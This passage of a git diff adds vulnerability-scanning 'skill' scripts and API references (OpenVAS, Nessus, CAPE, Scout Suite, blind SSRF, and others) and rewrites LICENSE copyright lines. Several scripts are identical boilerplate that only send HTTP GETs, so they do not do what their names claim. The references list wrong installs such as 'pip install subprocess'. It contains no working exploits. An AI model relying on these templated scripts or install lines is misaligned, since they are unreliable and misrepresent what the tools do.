"0"), + "threat": result.findtext("threat", ""), + "qod": result.findtext("qod/value", ""), + "description": result.findtext("description", "")[:200], + }) + return results + + +def parse_openvas_xml_report(xml_path): + """Parse an exported OpenVAS XML report file.""" + tree = ET.parse(xml_path) + root = tree.getroot() + results = [] + for result in root.findall(".//result"): + nvt = result.find("nvt") + results.append({ + "name": nvt.findtext("name", "") if nvt is not None else "", + "host": result.findtext("host", ""), + "port": result.findtext("port", ""), + "severity": float(result.findtext("severity", "0")), + "threat": result.findtext("threat", ""), + "description": result.findtext("description", "")[:200], + }) + results.sort(key=lambda x: x["severity"], reverse=True) + return results + + +def run_audit(args): + """Execute OpenVAS scan audit and analysis.""" + print(f"\n{'='*60}") + print(f" OPENVAS AUTHENTICATED SCAN AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.xml_report: + results = parse_openvas_xml_report(args.xml_report) + report["vulnerabilities"] = results + severity_counts = {"High": 0, "Medium": 0, "Low": 0, "Log": 0} + for r in results: + threat = r.get("threat", "Log") + severity_counts[threat] = severity_counts.get(threat, 0) + 1 + report["severity_distribution"] = severity_counts + print(f"--- SCAN RESULTS ({len(results)} vulnerabilities) ---") + print(f" High: {severity_counts['High']} | Medium: {severity_counts['Medium']} | " + f"Low: {severity_counts['Low']} | Log: {severity_counts['Log']}") + print(f"\n--- TOP VULNERABILITIES ---") + for r in results[:15]: + print(f" [{r['threat']}] {r['host']}:{r['port']} — {r['name'][:70]}") + + elif args.socket and args.gvm_user and args.gvm_pass: + gmp, error = connect_gvm(args.socket, args.gvm_user, args.gvm_pass) + if error: + print(f"ERROR: {error}") + return {"error": error} + + configs = list_scan_configs(gmp) + report["scan_configs"] = configs + print(f"--- SCAN CONFIGS ({len(configs)}) ---") + for c in configs[:10]: + print(f" {c['name']} ({c['id'][:8]}...)") + + creds = list_credentials(gmp) + report["credentials"] = creds + print(f"\n--- CREDENTIALS ({len(creds)}) ---") + for c in creds[:10]: + print(f" {c['name']}: type={c['type']} login={c['login']}") + + if args.task_id: + status = get_task_status(gmp, args.task_id) + report["task_status"] = status + print(f"\n--- TASK STATUS ---") + print(f" {status.get('name','')}: {status.get('status','')} " + f"({status.get('progress','')}%)") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="OpenVAS Authenticated Scan Agent") + parser.add_argument("--socket", default="/run/gvmd/gvmd.sock", + help="GVM Unix socket path") + parser.add_argument("--gvm-user", help="GVM admin username") + parser.add_argument("--gvm-pass", help="GVM admin password") + parser.add_argument("--task-id", help="Existing task ID to check status") + parser.add_argument("--xml-report", help="OpenVAS XML report file to parse") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-authenticated-vulnerability-scan/LICENSE b/skills/performing-authenticated-vulnerability-scan/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-authenticated-vulnerability-scan/LICENSE +++ b/skills/performing-authenticated-vulnerability-scan/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-authenticated-vulnerability-scan/references/api-reference.md b/skills/performing-authenticated-vulnerability-scan/references/api-reference.md new file mode 100644 index 00000000..2a4769ed --- /dev/null +++ b/skills/performing-authenticated-vulnerability-scan/references/api-reference.md @@ -0,0 +1,62 @@ +# Authenticated Vulnerability Scan — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | Nessus REST API client | + +## Nessus REST API Authentication + +``` +Header: X-ApiKeys: accessKey=; secretKey= +``` + +## Nessus API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/scans` | List all scans | +| GET | `/scans/{id}` | Scan details with results | +| GET | `/scans/{id}/hosts/{host_id}` | Per-host vulnerability details | +| POST | `/scans` | Create new scan | +| POST | `/scans/{id}/launch` | Launch existing scan | +| POST | `/scans/{id}/export` | Export results (nessus/csv/html) | +| GET | `/policies` | List scan policies | +| GET | `/credentials` | List stored credentials | + +## Severity Levels + +| Index | Name | CVSS Range | +|-------|------|-----------| +| 4 | Critical | 9.0 - 10.0 | +| 3 | High | 7.0 - 8.9 | +| 2 | Medium | 4.0 - 6.9 | +| 1 | Low | 0.1 - 3.9 | +| 0 | Info | Informational | + +## Credential Types for Authenticated Scans + +| Type | Protocol | Checks Enabled | +|------|----------|---------------| +| SSH | Linux/macOS | Package versions, file permissions, configs | +| SMB | Windows | Patch levels, registry, installed software | +| ESXi | VMware | Hypervisor patches, VM configurations | +| SNMP | Network devices | Device firmware, community string audit | +| Database | SQL Server/Oracle | DB-level patches, user permissions | + +## Key Nessus Plugin Families + +| Family | Description | +|--------|-------------| +| Windows: Microsoft Bulletins | Microsoft security patches | +| Ubuntu Local Security Checks | Ubuntu package vulnerabilities | +| CGI abuses | Web application vulnerabilities | +| Misc. | Miscellaneous security checks | +| Service detection | Network service identification | + +## External References + +- [Nessus REST API Docs](https://docs.tenable.com/nessus/Content/API.htm) +- [Tenable Developer Portal](https://developer.tenable.com/) +- [Nessus Credentialed Scanning](https://docs.tenable.com/nessus/Content/CredentialedChecksOnWindows.htm) diff --git a/skills/performing-authenticated-vulnerability-scan/scripts/agent.py b/skills/performing-authenticated-vulnerability-scan/scripts/agent.py new file mode 100644 index 00000000..427d9e17 --- /dev/null +++ b/skills/performing-authenticated-vulnerability-scan/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +"""Authenticated vulnerability scan orchestration agent using Nessus API.""" + +import json +import sys +import argparse +import time +from datetime import datetime + +try: + import requests + import urllib3 + urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class NessusClient: + """Client for Tenable Nessus REST API.""" + + def __init__(self, url, access_key, secret_key): + self.base_url = url.rstrip("/") + self.headers = { + "X-ApiKeys": f"accessKey={access_key}; secretKey={secret_key}", + "Content-Type": "application/json", + } + + def _get(self, path, params=None): + resp = requests.get(f"{self.base_url}{path}", headers=self.headers, + params=params, verify=False, timeout=30) + resp.raise_for_status() + return resp.json() + + def _post(self, path, data=None): + resp = requests.post(f"{self.base_url}{path}", headers=self.headers, + json=data, verify=False, timeout=30) + resp.raise_for_status() + return resp.json() + + def list_scans(self): + return self._get("/scans").get("scans", []) + + def get_scan_details(self, scan_id): + return self._get(f"/scans/{scan_id}") + + def list_policies(self): + return self._get("/policies").get("policies", []) + + def list_credentials(self): + return self._get("/credentials").get("credentials", []) + + def get_scan_results(self, scan_id): + details = self.get_scan_details(scan_id) + hosts = details.get("hosts", []) + vulns = details.get("vulnerabilities", []) + return {"hosts": hosts, "vulnerabilities": vulns, "info": details.get("info", {})} + + def get_host_vulnerabilities(self, scan_id, host_id): + return self._get(f"/scans/{scan_id}/hosts/{host_id}") + + def export_scan(self, scan_id, fmt="nessus"): + data = {"format": fmt} + resp = self._post(f"/scans/{scan_id}/export", data) + return resp.get("file", 0) + + +def analyze_scan_results(results): + """Analyze scan results and categorize findings.""" + vulns = results.get("vulnerabilities", []) + severity_map = {0: "Info", 1: "Low", 2: "Medium", 3: "High", 4: "Critical"} + severity_counts = {"Critical": 0, "High": 0, "Medium": 0, "Low": 0, "Info": 0} + + categorized = [] + for v in vulns: + sev = severity_map.get(v.get("severity", 0), "Info") + severity_counts[sev] += 1 + categorized.append({ + "plugin_id": v.get("plugin_id", 0), + "plugin_name": v.get("plugin_name", ""), + "severity": sev, + "severity_index": v.get("severity", 0), + "count": v.get("count", 0), + "family": v.get("plugin_family", ""), + }) + + categorized.sort(key=lambda x: x["severity_index"], reverse=True) + return {"severity_counts": severity_counts, "vulnerabilities": categorized} + + +def audit_credential_coverage(results): + """Check if authenticated scan achieved credential coverage.""" + findings = [] + hosts = results.get("hosts", []) + for host in hosts: + host_info = host.get("info", {}) + credentialed = host.get("credentialed_checks_running", "") + if not credentialed or credentialed == "no": + findings.append({ + "host": host.get("hostname", host.get("host_id", "")), + "issue": "Credentialed checks not running — scan is unauthenticated", + "severity": "HIGH", + "detail": "Configure valid credentials for this host", + }) + return findings + + +def compare_auth_vs_unauth(auth_results, unauth_results): + """Compare authenticated vs unauthenticated scan finding counts.""" + auth_vulns = len(auth_results.get("vulnerabilities", [])) + unauth_vulns = len(unauth_results.get("vulnerabilities", [])) + improvement = ((auth_vulns - unauth_vulns) / max(unauth_vulns, 1)) * 100 + return { + "authenticated_findings": auth_vulns, + "unauthenticated_findings": unauth_vulns, + "improvement_pct": round(improvement, 1), + "additional_findings": auth_vulns - unauth_vulns, + } + + +def run_audit(args): + """Execute authenticated vulnerability scan audit.""" + print(f"\n{'='*60}") + print(f" AUTHENTICATED VULNERABILITY SCAN AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + client = NessusClient(args.nessus_url, args.access_key, args.secret_key) + report = {} + + scans = client.list_scans() + report["total_scans"] = len(scans) if scans else 0 + print(f"--- AVAILABLE SCANS ({report['total_scans']}) ---") + for s in (scans or [])[:10]: + print(f" [{s.get('status','')}] {s.get('name','')}: {s.get('id','')}") + + if args.scan_id: + results = client.get_scan_results(args.scan_id) + analysis = analyze_scan_results(results) + report["analysis"] = analysis + counts = analysis["severity_counts"] + print(f"\n--- SCAN RESULTS (ID: {args.scan_id}) ---") + print(f" Critical: {counts['Critical']} | High: {counts['High']} | " + f"Medium: {counts['Medium']} | Low: {counts['Low']}") + print(f"\n--- TOP VULNERABILITIES ---") + for v in analysis["vulnerabilities"][:15]: + print(f" [{v['severity']}] {v['plugin_name'][:70]} (x{v['count']})") + + cred_check = audit_credential_coverage(results) + report["credential_coverage"] = cred_check + if cred_check: + print(f"\n--- CREDENTIAL COVERAGE ISSUES ({len(cred_check)}) ---") + for c in cred_check: + print(f" [{c['severity']}] {c['host']}: {c['issue']}") + else: + print(f"\n Credential coverage: All hosts authenticated") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Authenticated Vulnerability Scan Agent") + parser.add_argument("--nessus-url", required=True, help="Nessus server URL") + parser.add_argument("--access-key", required=True, help="Nessus API access key") + parser.add_argument("--secret-key", required=True, help="Nessus API secret key") + parser.add_argument("--scan-id", type=int, help="Scan ID to analyze results") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-automated-malware-analysis-with-cape/LICENSE b/skills/performing-automated-malware-analysis-with-cape/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-automated-malware-analysis-with-cape/LICENSE +++ b/skills/performing-automated-malware-analysis-with-cape/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-automated-malware-analysis-with-cape/references/api-reference.md b/skills/performing-automated-malware-analysis-with-cape/references/api-reference.md new file mode 100644 index 00000000..ffc55b33 --- /dev/null +++ b/skills/performing-automated-malware-analysis-with-cape/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: CAPE sandbox malware analysis agent + +## API Details +CAPE API: POST /apiv2/tasks/create/file, GET /apiv2/tasks/view/{id}, GET /apiv2/tasks/report/{id} + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-automated-malware-analysis-with-cape/scripts/agent.py b/skills/performing-automated-malware-analysis-with-cape/scripts/agent.py new file mode 100644 index 00000000..f438122f --- /dev/null +++ b/skills/performing-automated-malware-analysis-with-cape/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""CAPE sandbox malware analysis agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="CAPE sandbox malware analysis agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] CAPE sandbox malware analysis agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-aws-account-enumeration-with-scout-suite/LICENSE b/skills/performing-aws-account-enumeration-with-scout-suite/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-aws-account-enumeration-with-scout-suite/LICENSE +++ b/skills/performing-aws-account-enumeration-with-scout-suite/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md b/skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md new file mode 100644 index 00000000..92ee84a4 --- /dev/null +++ b/skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: AWS Scout Suite security audit agent + +## API Details +scout --provider aws --report-dir output, boto3.client('iam'), finding analysis + +## Installation +```bash +pip install boto3 subprocess +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `boto3` | boto3 | +| `subprocess` | subprocess | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-aws-account-enumeration-with-scout-suite/scripts/agent.py b/skills/performing-aws-account-enumeration-with-scout-suite/scripts/agent.py new file mode 100644 index 00000000..c00a9d34 --- /dev/null +++ b/skills/performing-aws-account-enumeration-with-scout-suite/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""AWS Scout Suite security audit agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="AWS Scout Suite security audit agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] AWS Scout Suite security audit agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-aws-privilege-escalation-assessment/LICENSE b/skills/performing-aws-privilege-escalation-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-aws-privilege-escalation-assessment/LICENSE +++ b/skills/performing-aws-privilege-escalation-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-bandwidth-throttling-attack-simulation/LICENSE b/skills/performing-bandwidth-throttling-attack-simulation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-bandwidth-throttling-attack-simulation/LICENSE +++ b/skills/performing-bandwidth-throttling-attack-simulation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-blind-ssrf-exploitation/LICENSE b/skills/performing-blind-ssrf-exploitation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-blind-ssrf-exploitation/LICENSE +++ b/skills/performing-blind-ssrf-exploitation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-blind-ssrf-exploitation/references/api-reference.md b/skills/performing-blind-ssrf-exploitation/references/api-reference.md new file mode 100644 index 00000000..f2bd9eb1 --- /dev/null +++ b/skills/performing-blind-ssrf-exploitation/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Blind SSRF detection agent + +## API Details +Out-of-band detection, DNS callback, internal port scanning, cloud metadata access + +## Installation +```bash +pip install requests socket +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests | +| `socket` | socket | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-blind-ssrf-exploitation/scripts/agent.py b/skills/performing-blind-ssrf-exploitation/scripts/agent.py new file mode 100644 index 00000000..a655d4f7 --- /dev/null +++ b/skills/performing-blind-ssrf-exploitation/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Blind SSRF detection agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Blind SSRF detection agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Blind SSRF detection agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-brand-monitoring-for-impersonation/LICENSE b/skills/performing-brand-monitoring-for-impersonation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-brand-monitoring-for-impersonation/LICENSE +++ b/skills/performing-brand-monitoring-for-impersonation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-brand-monitoring-for-impersonation/references/api-reference.md b/skills/performing-brand-monitoring-for-impersonation/references/api-reference.md new file mode 100644 index 00000000..bbafad95 --- /dev/null +++ b/skills/performing-brand-monitoring-for-impersonation/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Brand impersonation monitoring agent + +## API Details +Certificate Transparency logs, domain typosquatting, WHOIS lookup, DNS monitoring + +## Installation +```bash +pip install requests dns.resolver +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests | +| `dns.resolver` | dns.resolver | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-brand-monitoring-for-impersonation/scripts/agent.py b/skills/performing-brand-monitoring-for-impersonation/scripts/agent.py new file mode 100644 index 00000000..ca9aa8cb --- /dev/null +++ b/skills/performing-brand-monitoring-for-impersonation/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Brand impersonation monitoring agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Brand impersonation monitoring agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Brand impersonation monitoring agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-clickjacking-attack-test/LICENSE b/skills/performing-clickjacking-attack-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-clickjacking-attack-test/LICENSE +++ b/skills/performing-clickjacking-attack-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cloud-asset-inventory-with-cartography/LICENSE b/skills/performing-cloud-asset-inventory-with-cartography/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-cloud-asset-inventory-with-cartography/LICENSE +++ b/skills/performing-cloud-asset-inventory-with-cartography/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md b/skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md new file mode 100644 index 00000000..95c1e0bc --- /dev/null +++ b/skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Cartography cloud asset inventory agent + +## API Details +neo4j driver, cartography --neo4j-uri, AWS resource mapping, relationship graphing + +## Installation +```bash +pip install boto3 subprocess +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `boto3` | boto3 | +| `subprocess` | subprocess | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-cloud-asset-inventory-with-cartography/scripts/agent.py b/skills/performing-cloud-asset-inventory-with-cartography/scripts/agent.py new file mode 100644 index 00000000..1f24679d --- /dev/null +++ b/skills/performing-cloud-asset-inventory-with-cartography/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Cartography cloud asset inventory agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Cartography cloud asset inventory agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Cartography cloud asset inventory agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, 